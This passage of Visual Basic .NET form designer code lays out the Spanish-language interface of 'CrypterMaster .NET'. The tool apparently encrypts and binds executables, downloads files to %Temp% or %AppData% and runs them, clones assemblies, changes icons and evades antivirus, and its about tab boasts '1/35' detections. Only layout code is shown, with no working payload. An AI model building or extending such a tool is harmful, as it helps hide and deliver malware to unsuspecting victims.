Me.comboDrop_Binder.Items.AddRange(New Object() {"%App.Path%", "%Temp%", "%AppData%", "%UserProfile%", "%MyDocuments%"})
Me.comboDrop_Binder.Location = New System.Drawing.Point(427, 92)
Me.comboDrop_Binder.Name = "comboDrop_Binder"
Me.comboDrop_Binder.Size = New System.Drawing.Size(219, 25)
Me.comboDrop_Binder.TabIndex = 4
'
'HuraGroupBox3
'
Me.HuraGroupBox3.BackColor = System.Drawing.Color.White
Me.HuraGroupBox3.Controls.Add(Me.chkEjecutar_Binder)
Me.HuraGroupBox3.Controls.Add(Me.btnAgregar_Binder)
Me.HuraGroupBox3.Controls.Add(Me.btnQuitar_Binder)
Me.HuraGroupBox3.Location = New System.Drawing.Point(427, 6)
Me.HuraGroupBox3.Name = "HuraGroupBox3"
Me.HuraGroupBox3.Size = New System.Drawing.Size(220, 80)
Me.HuraGroupBox3.TabIndex = 3
Me.HuraGroupBox3.Text = "HuraGroupBox3"
'
'chkEjecutar_Binder
'
Me.chkEjecutar_Binder.BaseColour = System.Drawing.Color.White
Me.chkEjecutar_Binder.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer))
Me.chkEjecutar_Binder.Checked = False
Me.chkEjecutar_Binder.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.chkEjecutar_Binder.Cursor = System.Windows.Forms.Cursors.Hand
Me.chkEjecutar_Binder.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.chkEjecutar_Binder.Location = New System.Drawing.Point(12, 48)
Me.chkEjecutar_Binder.Name = "chkEjecutar_Binder"
Me.chkEjecutar_Binder.Size = New System.Drawing.Size(130, 22)
Me.chkEjecutar_Binder.TabIndex = 3
Me.chkEjecutar_Binder.Text = "Ejecutar archivo"
Me.chkEjecutar_Binder.Visible = False
'
'btnAgregar_Binder
'
Me.btnAgregar_Binder.BackColor = System.Drawing.Color.Transparent
Me.btnAgregar_Binder.BaseColour = System.Drawing.Color.White
Me.btnAgregar_Binder.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.btnAgregar_Binder.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.btnAgregar_Binder.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnAgregar_Binder.Location = New System.Drawing.Point(12, 13)
Me.btnAgregar_Binder.Name = "btnAgregar_Binder"
Me.btnAgregar_Binder.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer))
Me.btnAgregar_Binder.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnAgregar_Binder.Size = New System.Drawing.Size(94, 26)
Me.btnAgregar_Binder.TabIndex = 1
Me.btnAgregar_Binder.Text = "Agregar archivo"
'
'btnQuitar_Binder
'
Me.btnQuitar_Binder.BackColor = System.Drawing.Color.Transparent
Me.btnQuitar_Binder.BaseColour = System.Drawing.Color.White
Me.btnQuitar_Binder.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.btnQuitar_Binder.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.btnQuitar_Binder.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnQuitar_Binder.Location = New System.Drawing.Point(116, 13)
Me.btnQuitar_Binder.Name = "btnQuitar_Binder"
Me.btnQuitar_Binder.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer))
Me.btnQuitar_Binder.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnQuitar_Binder.Size = New System.Drawing.Size(94, 26)
Me.btnQuitar_Binder.TabIndex = 2
Me.btnQuitar_Binder.Text = "Quitar archivo"
'
'lstArchivos_Binder
'
Me.lstArchivos_Binder.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.colArchivo_Binder, Me.colEjecutar_Binder})
Me.lstArchivos_Binder.ForeColor = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.lstArchivos_Binder.FullRowSelect = True
Me.lstArchivos_Binder.GridLines = True
Me.lstArchivos_Binder.Location = New System.Drawing.Point(3, 6)
Me.lstArchivos_Binder.MultiSelect = False
Me.lstArchivos_Binder.Name = "lstArchivos_Binder"
Me.lstArchivos_Binder.Size = New System.Drawing.Size(418, 111)
Me.lstArchivos_Binder.TabIndex = 0
Me.lstArchivos_Binder.UseCompatibleStateImageBehavior = False
Me.lstArchivos_Binder.View = System.Windows.Forms.View.Details
'
'colArchivo_Binder
'
Me.colArchivo_Binder.Text = "Archivo"
Me.colArchivo_Binder.Width = 338
'
'colEjecutar_Binder
'
Me.colEjecutar_Binder.Text = "Ejecutar"
Me.colEjecutar_Binder.Width = 58
'
'TabDownloader
'
Me.TabDownloader.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.TabDownloader.Controls.Add(Me.HuraGroupBox4)
Me.TabDownloader.Controls.Add(Me.lstArchivos_Downloader)
Me.TabDownloader.Controls.Add(Me.comboDrop_Downloader)
Me.TabDownloader.Location = New System.Drawing.Point(4, 34)
Me.TabDownloader.Name = "TabDownloader"
Me.TabDownloader.Size = New System.Drawing.Size(654, 123)
Me.TabDownloader.TabIndex = 2
Me.TabDownloader.Text = "Downloader"
'
'HuraGroupBox4
'
Me.HuraGroupBox4.BackColor = System.Drawing.Color.White
Me.HuraGroupBox4.Controls.Add(Me.chkEjecutar_Downloader)
Me.HuraGroupBox4.Controls.Add(Me.btnAgregar_Downloader)
Me.HuraGroupBox4.Controls.Add(Me.btnQuitar_Downloader)
Me.HuraGroupBox4.Location = New System.Drawing.Point(428, 6)
Me.HuraGroupBox4.Name = "HuraGroupBox4"
Me.HuraGroupBox4.Size = New System.Drawing.Size(220, 80)
Me.HuraGroupBox4.TabIndex = 6
Me.HuraGroupBox4.Text = "HuraGroupBox4"
'
'chkEjecutar_Downloader
'
Me.chkEjecutar_Downloader.BaseColour = System.Drawing.Color.White
Me.chkEjecutar_Downloader.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer))
Me.chkEjecutar_Downloader.Checked = False
Me.chkEjecutar_Downloader.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.chkEjecutar_Downloader.Cursor = System.Windows.Forms.Cursors.Hand
Me.chkEjecutar_Downloader.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.chkEjecutar_Downloader.Location = New System.Drawing.Point(12, 48)
Me.chkEjecutar_Downloader.Name = "chkEjecutar_Downloader"
Me.chkEjecutar_Downloader.Size = New System.Drawing.Size(130, 22)
Me.chkEjecutar_Downloader.TabIndex = 3
Me.chkEjecutar_Downloader.Text = "Ejecutar archivo"
Me.chkEjecutar_Downloader.Visible = False
'
'btnAgregar_Downloader
'
Me.btnAgregar_Downloader.BackColor = System.Drawing.Color.Transparent
Me.btnAgregar_Downloader.BaseColour = System.Drawing.Color.White
Me.btnAgregar_Downloader.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.btnAgregar_Downloader.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.btnAgregar_Downloader.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnAgregar_Downloader.Location = New System.Drawing.Point(12, 13)
Me.btnAgregar_Downloader.Name = "btnAgregar_Downloader"
Me.btnAgregar_Downloader.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer))
Me.btnAgregar_Downloader.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnAgregar_Downloader.Size = New System.Drawing.Size(94, 26)
Me.btnAgregar_Downloader.TabIndex = 1
Me.btnAgregar_Downloader.Text = "Agregar URL"
'
'btnQuitar_Downloader
'
Me.btnQuitar_Downloader.BackColor = System.Drawing.Color.Transparent
Me.btnQuitar_Downloader.BaseColour = System.Drawing.Color.White
Me.btnQuitar_Downloader.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.btnQuitar_Downloader.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.btnQuitar_Downloader.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnQuitar_Downloader.Location = New System.Drawing.Point(116, 13)
Me.btnQuitar_Downloader.Name = "btnQuitar_Downloader"
Me.btnQuitar_Downloader.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer))
Me.btnQuitar_Downloader.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnQuitar_Downloader.Size = New System.Drawing.Size(94, 26)
Me.btnQuitar_Downloader.TabIndex = 2
Me.btnQuitar_Downloader.Text = "Quitar URL"
'
'lstArchivos_Downloader
'
Me.lstArchivos_Downloader.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.colURL_Downloader, Me.colExtension_Downloader, Me.colEjecutar_Downloader})
Me.lstArchivos_Downloader.ForeColor = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.lstArchivos_Downloader.FullRowSelect = True
Me.lstArchivos_Downloader.GridLines = True
Me.lstArchivos_Downloader.Location = New System.Drawing.Point(3, 6)
Me.lstArchivos_Downloader.MultiSelect = False
Me.lstArchivos_Downloader.Name = "lstArchivos_Downloader"
Me.lstArchivos_Downloader.Size = New System.Drawing.Size(419, 111)
Me.lstArchivos_Downloader.TabIndex = 5
Me.lstArchivos_Downloader.UseCompatibleStateImageBehavior = False
Me.lstArchivos_Downloader.View = System.Windows.Forms.View.Details
'
'colURL_Downloader
'
Me.colURL_Downloader.Text = "URL"
Me.colURL_Downloader.Width = 272
'
'colExtension_Downloader
'
Me.colExtension_Downloader.Text = "Ext."
'
'colEjecutar_Downloader
'
Me.colEjecutar_Downloader.Text = "Ejecutar"
Me.colEjecutar_Downloader.Width = 66
'
'comboDrop_Downloader
'
Me.comboDrop_Downloader.AccentColor = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer))
Me.comboDrop_Downloader.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.comboDrop_Downloader.ColorScheme = CrypterMaster.HuraComboBox.ColorSchemes.Dark
Me.comboDrop_Downloader.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
Me.comboDrop_Downloader.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
Me.comboDrop_Downloader.Font = New System.Drawing.Font("Segoe UI", 9.5!)
Me.comboDrop_Downloader.ForeColor = System.Drawing.Color.White
Me.comboDrop_Downloader.FormattingEnabled = True
Me.comboDrop_Downloader.Items.AddRange(New Object() {"%App.Path%", "%Temp%", "%AppData%", "%UserProfile%", "%MyDocuments%"})
Me.comboDrop_Downloader.Location = New System.Drawing.Point(428, 92)
Me.comboDrop_Downloader.Name = "comboDrop_Downloader"
Me.comboDrop_Downloader.Size = New System.Drawing.Size(219, 25)
Me.comboDrop_Downloader.TabIndex = 7
'
'tabOpciones
'
Me.tabOpciones.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.tabOpciones.Controls.Add(Me.Label8)
Me.tabOpciones.Controls.Add(Me.updwnRetraso)
Me.tabOpciones.Controls.Add(Me.btnAssembly)
Me.tabOpciones.Controls.Add(Me.btnIcono)
Me.tabOpciones.Controls.Add(Me.chkRetraso)
Me.tabOpciones.Controls.Add(Me.txtAssembly)
Me.tabOpciones.Controls.Add(Me.txtIcono)
Me.tabOpciones.Controls.Add(Me.chkAssembly)
Me.tabOpciones.Controls.Add(Me.chkIcono)
Me.tabOpciones.Controls.Add(Me.chkAntis)
Me.tabOpciones.Location = New System.Drawing.Point(4, 34)
Me.tabOpciones.Name = "tabOpciones"
Me.tabOpciones.Size = New System.Drawing.Size(654, 123)
Me.tabOpciones.TabIndex = 3
Me.tabOpciones.Text = "Opciones"
'
'Label8
'
Me.Label8.AutoSize = True
Me.Label8.ForeColor = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer))
Me.Label8.Location = New System.Drawing.Point(366, 12)
Me.Label8.Name = "Label8"
Me.Label8.Size = New System.Drawing.Size(65, 17)
Me.Label8.TabIndex = 10
Me.Label8.Text = "segundos"
'
'updwnRetraso
'
Me.updwnRetraso.Enabled = False
Me.updwnRetraso.ForeColor = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.updwnRetraso.Location = New System.Drawing.Point(308, 9)
Me.updwnRetraso.Name = "updwnRetraso"
Me.updwnRetraso.Size = New System.Drawing.Size(55, 24)
Me.updwnRetraso.TabIndex = 8
'
'btnAssembly
'
Me.btnAssembly.BackColor = System.Drawing.Color.Transparent
Me.btnAssembly.BaseColour = System.Drawing.Color.White
Me.btnAssembly.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.btnAssembly.Enabled = False
Me.btnAssembly.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.btnAssembly.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnAssembly.Location = New System.Drawing.Point(527, 78)
Me.btnAssembly.Name = "btnAssembly"
Me.btnAssembly.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer))
Me.btnAssembly.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnAssembly.Size = New System.Drawing.Size(116, 29)
Me.btnAssembly.TabIndex = 7
Me.btnAssembly.Text = "Seleccionar"
'
'btnIcono
'
Me.btnIcono.BackColor = System.Drawing.Color.Transparent
Me.btnIcono.BaseColour = System.Drawing.Color.White
Me.btnIcono.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.btnIcono.Enabled = False
Me.btnIcono.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.btnIcono.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnIcono.Location = New System.Drawing.Point(527, 43)
Me.btnIcono.Name = "btnIcono"
Me.btnIcono.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer))
Me.btnIcono.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnIcono.Size = New System.Drawing.Size(116, 29)
Me.btnIcono.TabIndex = 6
Me.btnIcono.Text = "Seleccionar"
'
'chkRetraso
'
Me.chkRetraso.BaseColour = System.Drawing.Color.White
Me.chkRetraso.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer))
Me.chkRetraso.Checked = False
Me.chkRetraso.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.chkRetraso.Cursor = System.Windows.Forms.Cursors.Hand
Me.chkRetraso.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.chkRetraso.Location = New System.Drawing.Point(150, 10)
Me.chkRetraso.Name = "chkRetraso"
Me.chkRetraso.Size = New System.Drawing.Size(151, 22)
Me.chkRetraso.TabIndex = 5
Me.chkRetraso.Text = "Retraso de ejecución"
'
'txtAssembly
'
Me.txtAssembly.BackColor = System.Drawing.Color.Transparent
Me.txtAssembly.BackgroundColour = System.Drawing.Color.White
Me.txtAssembly.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer))
Me.txtAssembly.Location = New System.Drawing.Point(150, 78)
Me.txtAssembly.MaxLength = 32767
Me.txtAssembly.Multiline = False
Me.txtAssembly.Name = "txtAssembly"
Me.txtAssembly.ReadOnly = True
Me.txtAssembly.Size = New System.Drawing.Size(371, 29)
Me.txtAssembly.Style = CrypterMaster.HuraTextBox.Styles.Normal
Me.txtAssembly.TabIndex = 4
Me.txtAssembly.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.txtAssembly.TextColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.txtAssembly.UseSystemPasswordChar = False
'
'txtIcono
'
Me.txtIcono.BackColor = System.Drawing.Color.Transparent
Me.txtIcono.BackgroundColour = System.Drawing.Color.White
Me.txtIcono.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer))
Me.txtIcono.Location = New System.Drawing.Point(150, 43)
Me.txtIcono.MaxLength = 32767
Me.txtIcono.Multiline = False
Me.txtIcono.Name = "txtIcono"
Me.txtIcono.ReadOnly = True
Me.txtIcono.Size = New System.Drawing.Size(371, 29)
Me.txtIcono.Style = CrypterMaster.HuraTextBox.Styles.Normal
Me.txtIcono.TabIndex = 3
Me.txtIcono.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.txtIcono.TextColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.txtIcono.UseSystemPasswordChar = False
'
'chkAssembly
'
Me.chkAssembly.BaseColour = System.Drawing.Color.White
Me.chkAssembly.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer))
Me.chkAssembly.Checked = False
Me.chkAssembly.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.chkAssembly.Cursor = System.Windows.Forms.Cursors.Hand
Me.chkAssembly.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.chkAssembly.Location = New System.Drawing.Point(10, 82)
Me.chkAssembly.Name = "chkAssembly"
Me.chkAssembly.Size = New System.Drawing.Size(134, 22)
Me.chkAssembly.TabIndex = 2
Me.chkAssembly.Text = "Clonar Assembly"
'
'chkIcono
'
Me.chkIcono.BaseColour = System.Drawing.Color.White
Me.chkIcono.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer))
Me.chkIcono.Checked = False
Me.chkIcono.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.chkIcono.Cursor = System.Windows.Forms.Cursors.Hand
Me.chkIcono.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.chkIcono.Location = New System.Drawing.Point(10, 46)
Me.chkIcono.Name = "chkIcono"
Me.chkIcono.Size = New System.Drawing.Size(134, 22)
Me.chkIcono.TabIndex = 1
Me.chkIcono.Text = "Cambiar Icono"
'
'chkAntis
'
Me.chkAntis.BaseColour = System.Drawing.Color.White
Me.chkAntis.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer))
Me.chkAntis.Checked = False
Me.chkAntis.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.chkAntis.Cursor = System.Windows.Forms.Cursors.Hand
Me.chkAntis.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.chkAntis.Location = New System.Drawing.Point(10, 10)
Me.chkAntis.Name = "chkAntis"
Me.chkAntis.Size = New System.Drawing.Size(68, 22)
Me.chkAntis.TabIndex = 0
Me.chkAntis.Text = "Antis"
'
'tabAcercaDe
'
Me.tabAcercaDe.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.tabAcercaDe.Controls.Add(Me.PictureBox2)
Me.tabAcercaDe.Controls.Add(Me.LinkLabel1)
Me.tabAcercaDe.Controls.Add(Me.lblScan)
Me.tabAcercaDe.Controls.Add(Me.Label7)
Me.tabAcercaDe.Controls.Add(Me.Label6)
Me.tabAcercaDe.Controls.Add(Me.Label5)
Me.tabAcercaDe.Controls.Add(Me.Label4)
Me.tabAcercaDe.Controls.Add(Me.HuraGroupBox2)
Me.tabAcercaDe.Location = New System.Drawing.Point(4, 34)
Me.tabAcercaDe.Name = "tabAcercaDe"
Me.tabAcercaDe.Size = New System.Drawing.Size(654, 123)
Me.tabAcercaDe.TabIndex = 4
Me.tabAcercaDe.Text = "Acerca de"
'
'PictureBox2
'
Me.PictureBox2.Image = CType(resources.GetObject("PictureBox2.Image"), System.Drawing.Image)
Me.PictureBox2.Location = New System.Drawing.Point(406, 16)
Me.PictureBox2.Name = "PictureBox2"
Me.PictureBox2.Size = New System.Drawing.Size(206, 95)
Me.PictureBox2.TabIndex = 1
Me.PictureBox2.TabStop = False
'
'LinkLabel1
'
Me.LinkLabel1.ActiveLinkColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.LinkLabel1.AutoSize = True
Me.LinkLabel1.Location = New System.Drawing.Point(240, 12)
Me.LinkLabel1.Name = "LinkLabel1"
Me.LinkLabel1.Size = New System.Drawing.Size(62, 17)
Me.LinkLabel1.TabIndex = 6
Me.LinkLabel1.TabStop = True
Me.LinkLabel1.Text = "Ver perfil"
Me.LinkLabel1.VisitedLinkColor = System.Drawing.Color.Blue
'
'lblScan
'
Me.lblScan.ActiveLinkColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.lblScan.AutoSize = True
Me.lblScan.Location = New System.Drawing.Point(237, 68)
Me.lblScan.Name = "lblScan"
Me.lblScan.Size = New System.Drawing.Size(116, 17)
Me.lblScan.TabIndex = 5
Me.lblScan.TabStop = True
Me.lblScan.Text = "Ver scan en MaJyx"
Me.lblScan.VisitedLinkColor = System.Drawing.Color.Blue
'
'Label7
'
Me.Label7.AutoSize = True
Me.Label7.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.Label7.Location = New System.Drawing.Point(123, 94)
Me.Label7.Name = "Label7"
Me.Label7.Size = New System.Drawing.Size(191, 17)
Me.Label7.TabIndex = 4
Me.Label7.Text = "Fecha de analisis: 09/Julio/2014"
'
'Label6
'
Me.Label6.AutoSize = True
Me.Label6.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.Label6.Location = New System.Drawing.Point(123, 67)
Me.Label6.Name = "Label6"
Me.Label6.Size = New System.Drawing.Size(111, 17)
Me.Label6.TabIndex = 3
Me.Label6.Text = "Detecciones: 1/35"
'
'Label5
'
Me.Label5.AutoSize = True
Me.Label5.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.Label5.Location = New System.Drawing.Point(123, 40)
Me.Label5.Name = "Label5"
Me.Label5.Size = New System.Drawing.Size(109, 17)
Me.Label5.TabIndex = 2
Me.Label5.Text = "Lenguaje: VB.NET"
'
'Label4
'
Me.Label4.AutoSize = True
Me.Label4.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.Label4.Location = New System.Drawing.Point(123, 12)
Me.Label4.Name = "Label4"
Me.Label4.Size = New System.Drawing.Size(111, 17)
Me.Label4.TabIndex = 1
Me.Label4.Text = "Coder: chequinho"
'
'HuraGroupBox2
'
Me.HuraGroupBox2.BackColor = System.Drawing.Color.White
Me.HuraGroupBox2.Controls.Add(Me.PictureBox1)
Me.HuraGroupBox2.Location = New System.Drawing.Point(3, 3)
Me.HuraGroupBox2.Name = "HuraGroupBox2"
Me.HuraGroupBox2.Size = New System.Drawing.Size(117, 117)
Me.HuraGroupBox2.TabIndex = 0
Me.HuraGroupBox2.Text = "HuraGroupBox2"
'
'PictureBox1
'
Me.PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image)
Me.PictureBox1.Location = New System.Drawing.Point(3, 3)
Me.PictureBox1.Name = "PictureBox1"
Me.PictureBox1.Size = New System.Drawing.Size(111, 111)
Me.PictureBox1.TabIndex = 0
Me.PictureBox1.TabStop = False
'
'HuraControlBox1
'
Me.HuraControlBox1.AccentColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(178, Byte), Integer), CType(CType(255, Byte), Integer))
Me.HuraControlBox1.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles)
Me.HuraControlBox1.BackColor = System.Drawing.Color.White
Me.HuraControlBox1.ColorScheme = CrypterMaster.HuraControlBox.ColorSchemes.Dark
Me.HuraControlBox1.ForeColor = System.Drawing.Color.White
Me.HuraControlBox1.Location = New System.Drawing.Point(582, 3)
Me.HuraControlBox1.Name = "HuraControlBox1"
Me.HuraControlBox1.Size = New System.Drawing.Size(100, 25)
Me.HuraControlBox1.TabIndex = 2
Me.HuraControlBox1.Text = "HuraControlBox1"
'
'GUI
'
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
Me.ClientSize = New System.Drawing.Size(685, 231)
Me.Controls.Add(Me.HuraGUI)
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
Me.Name = "GUI"
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
Me.Text = "CrypterMaster .NET"
Me.HuraGUI.ResumeLayout(False)
Me.tabControl.ResumeLayout(False)
Me.TabCrypter.ResumeLayout(False)
Me.TabCrypter.PerformLayout()
Me.HuraGroupBox1.ResumeLayout(False)
Me.HuraGroupBox1.PerformLayout()
Me.TabBinder.ResumeLayout(False)
Me.HuraGroupBox3.ResumeLayout(False)
Me.TabDownloader.ResumeLayout(False)
Me.HuraGroupBox4.ResumeLayout(False)
Me.tabOpciones.ResumeLayout(False)
Me.tabOpciones.PerformLayout()
CType(Me.updwnRetraso, System.ComponentModel.ISupportInitialize).EndInit()
Me.tabAcercaDe.ResumeLayout(False)
Me.tabAcercaDe.PerformLayout()
